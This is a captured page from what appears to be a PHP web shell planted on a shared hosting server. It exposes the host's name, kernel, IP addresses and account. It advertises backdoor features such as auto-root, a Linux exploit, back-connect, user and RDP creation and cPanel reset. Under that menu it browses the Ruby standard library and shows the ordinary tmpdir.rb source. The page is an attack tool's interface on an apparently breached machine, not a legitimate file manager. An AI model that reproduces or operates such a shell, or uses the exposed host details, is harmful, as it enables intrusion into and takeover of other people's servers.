Linux premium180.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
: 162.0.209.168 | : 216.73.216.187
Cant Read [ /etc/named.conf ]
8.3.30
nortrmdp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
opt /
alt /
ruby32 /
share /
ruby /
[ HOME SHELL ]
Name
Size
Permission
Action
benchmark
[ DIR ]
drwxr-xr-x
bigdecimal
[ DIR ]
drwxr-xr-x
cgi
[ DIR ]
drwxr-xr-x
csv
[ DIR ]
drwxr-xr-x
did_you_mean
[ DIR ]
drwxr-xr-x
digest
[ DIR ]
drwxr-xr-x
drb
[ DIR ]
drwxr-xr-x
erb
[ DIR ]
drwxr-xr-x
error_highlight
[ DIR ]
drwxr-xr-x
fiddle
[ DIR ]
drwxr-xr-x
forwardable
[ DIR ]
drwxr-xr-x
io
[ DIR ]
drwxr-xr-x
json
[ DIR ]
drwxr-xr-x
logger
[ DIR ]
drwxr-xr-x
net
[ DIR ]
drwxr-xr-x
objspace
[ DIR ]
drwxr-xr-x
open3
[ DIR ]
drwxr-xr-x
openssl
[ DIR ]
drwxr-xr-x
optparse
[ DIR ]
drwxr-xr-x
psych
[ DIR ]
drwxr-xr-x
racc
[ DIR ]
drwxr-xr-x
random
[ DIR ]
drwxr-xr-x
reline
[ DIR ]
drwxr-xr-x
rinda
[ DIR ]
drwxr-xr-x
ripper
[ DIR ]
drwxr-xr-x
ruby_vm
[ DIR ]
drwxr-xr-x
set
[ DIR ]
drwxr-xr-x
syntax_suggest
[ DIR ]
drwxr-xr-x
syslog
[ DIR ]
drwxr-xr-x
unicode_normalize
[ DIR ]
drwxr-xr-x
uri
[ DIR ]
drwxr-xr-x
vendor_ruby
[ DIR ]
drwxr-xr-x
yaml
[ DIR ]
drwxr-xr-x
English.rb
6.11
KB
-rw-r--r--
abbrev.rb
3.45
KB
-rw-r--r--
base64.rb
3.35
KB
-rw-r--r--
benchmark.rb
18.4
KB
-rw-r--r--
bigdecimal.rb
24
B
-rw-r--r--
cgi.rb
9.83
KB
-rw-r--r--
coverage.rb
368
B
-rw-r--r--
csv.rb
92.47
KB
-rw-r--r--
date.rb
1.17
KB
-rw-r--r--
delegate.rb
11.68
KB
-rw-r--r--
did_you_mean.rb
5.31
KB
-rw-r--r--
digest.rb
3.3
KB
-rw-r--r--
drb.rb
50
B
-rw-r--r--
erb.rb
14.57
KB
-rw-r--r--
error_highlight.rb
84
B
-rw-r--r--
expect.rb
2.19
KB
-rw-r--r--
fiddle.rb
2.88
KB
-rw-r--r--
fileutils.rb
79.02
KB
-rw-r--r--
find.rb
2.5
KB
-rw-r--r--
forwardable.rb
9.03
KB
-rw-r--r--
getoptlong.rb
20.26
KB
-rw-r--r--
ipaddr.rb
20.6
KB
-rw-r--r--
json.rb
19.29
KB
-rw-r--r--
kconv.rb
5.72
KB
-rw-r--r--
logger.rb
21.95
KB
-rw-r--r--
mkmf.rb
88.4
KB
-rw-r--r--
monitor.rb
6.76
KB
-rw-r--r--
mutex_m.rb
2.33
KB
-rw-r--r--
objspace.rb
4.67
KB
-rw-r--r--
observer.rb
6.38
KB
-rw-r--r--
open-uri.rb
25.52
KB
-rw-r--r--
open3.rb
22.11
KB
-rw-r--r--
openssl.rb
1.03
KB
-rw-r--r--
optionparser.rb
59
B
-rw-r--r--
optparse.rb
61.06
KB
-rw-r--r--
ostruct.rb
13.88
KB
-rw-r--r--
pathname.rb
16.83
KB
-rw-r--r--
pp.rb
17.22
KB
-rw-r--r--
prettyprint.rb
15.9
KB
-rw-r--r--
pstore.rb
20.52
KB
-rw-r--r--
psych.rb
24.62
KB
-rw-r--r--
racc.rb
137
B
-rw-r--r--
readline.rb
189
B
-rw-r--r--
reline.rb
17.75
KB
-rw-r--r--
resolv-replace.rb
1.76
KB
-rw-r--r--
resolv.rb
74.35
KB
-rw-r--r--
ripper.rb
2.44
KB
-rw-r--r--
securerandom.rb
2.11
KB
-rw-r--r--
set.rb
25.31
KB
-rw-r--r--
shellwords.rb
7.09
KB
-rw-r--r--
singleton.rb
4.08
KB
-rw-r--r--
socket.rb
43.72
KB
-rw-r--r--
syntax_suggest.rb
74
B
-rw-r--r--
tempfile.rb
13.84
KB
-rw-r--r--
time.rb
23.72
KB
-rw-r--r--
timeout.rb
5.83
KB
-rw-r--r--
tmpdir.rb
4.7
KB
-rw-r--r--
tsort.rb
14.26
KB
-rw-r--r--
un.rb
11.17
KB
-rw-r--r--
uri.rb
3.06
KB
-rw-r--r--
weakref.rb
1.36
KB
-rw-r--r--
yaml.rb
2.11
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : tmpdir.rb
# frozen_string_literal: true # # tmpdir - retrieve temporary directory path # # $Id$ # require 'fileutils' begin require 'etc.so' rescue LoadError # rescue LoadError for miniruby end class Dir @@systmpdir ||= defined?(Etc.systmpdir) ? Etc.systmpdir : '/tmp' ## # Returns the operating system's temporary file path. def self.tmpdir ['TMPDIR', 'TMP', 'TEMP', ['system temporary path', @@systmpdir], ['/tmp']*2, ['.']*2].find do |name, dir| unless dir next if !(dir = ENV[name]) or dir.empty? end dir = File.expand_path(dir) stat = File.stat(dir) rescue next case when !stat.directory? warn "#{name} is not a directory: #{dir}" when !stat.writable? warn "#{name} is not writable: #{dir}" when stat.world_writable? && !stat.sticky? warn "#{name} is world-writable: #{dir}" else break dir end end or raise ArgumentError, "could not find a temporary directory" end # Dir.mktmpdir creates a temporary directory. # # The directory is created with 0700 permission. # Application should not change the permission to make the temporary directory accessible from other users. # # The prefix and suffix of the name of the directory is specified by # the optional first argument, <i>prefix_suffix</i>. # - If it is not specified or nil, "d" is used as the prefix and no suffix is used. # - If it is a string, it is used as the prefix and no suffix is used. # - If it is an array, first element is used as the prefix and second element is used as a suffix. # # Dir.mktmpdir {|dir| dir is ".../d..." } # Dir.mktmpdir("foo") {|dir| dir is ".../foo..." } # Dir.mktmpdir(["foo", "bar"]) {|dir| dir is ".../foo...bar" } # # The directory is created under Dir.tmpdir or # the optional second argument <i>tmpdir</i> if non-nil value is given. # # Dir.mktmpdir {|dir| dir is "#{Dir.tmpdir}/d..." } # Dir.mktmpdir(nil, "/var/tmp") {|dir| dir is "/var/tmp/d..." } # # If a block is given, # it is yielded with the path of the directory. # The directory and its contents are removed # using FileUtils.remove_entry before Dir.mktmpdir returns. # The value of the block is returned. # # Dir.mktmpdir {|dir| # # use the directory... # open("#{dir}/foo", "w") { something using the file } # } # # If a block is not given, # The path of the directory is returned. # In this case, Dir.mktmpdir doesn't remove the directory. # # dir = Dir.mktmpdir # begin # # use the directory... # open("#{dir}/foo", "w") { something using the file } # ensure # # remove the directory. # FileUtils.remove_entry dir # end # def self.mktmpdir(prefix_suffix=nil, *rest, **options) base = nil path = Tmpname.create(prefix_suffix || "d", *rest, **options) {|path, _, _, d| base = d mkdir(path, 0700) } if block_given? begin yield path.dup ensure unless base stat = File.stat(File.dirname(path)) if stat.world_writable? and !stat.sticky? raise ArgumentError, "parent directory is world writable but not sticky" end end FileUtils.remove_entry path end else path end end # Temporary name generator module Tmpname # :nodoc: module_function def tmpdir Dir.tmpdir end # Unusable characters as path name UNUSABLE_CHARS = "^,-.0-9A-Z_a-z~" # Dedicated random number generator RANDOM = Random.new class << RANDOM # :nodoc: # Maximum random number MAX = 36**6 # < 0x100000000 # Returns new random string upto 6 bytes def next rand(MAX).to_s(36) end end private_constant :RANDOM # Generates and yields random names to create a temporary name def create(basename, tmpdir=nil, max_try: nil, **opts) origdir = tmpdir tmpdir ||= tmpdir() n = nil prefix, suffix = basename prefix = (String.try_convert(prefix) or raise ArgumentError, "unexpected prefix: #{prefix.inspect}") prefix = prefix.delete(UNUSABLE_CHARS) suffix &&= (String.try_convert(suffix) or raise ArgumentError, "unexpected suffix: #{suffix.inspect}") suffix &&= suffix.delete(UNUSABLE_CHARS) begin t = Time.now.strftime("%Y%m%d") path = "#{prefix}#{t}-#{$$}-#{RANDOM.next}"\ "#{n ? %[-#{n}] : ''}#{suffix||''}" path = File.join(tmpdir, path) yield(path, n, opts, origdir) rescue Errno::EEXIST n ||= 0 n += 1 retry if !max_try or n < max_try raise "cannot generate temporary name using `#{basename}' under `#{tmpdir}'" end path end end end
Close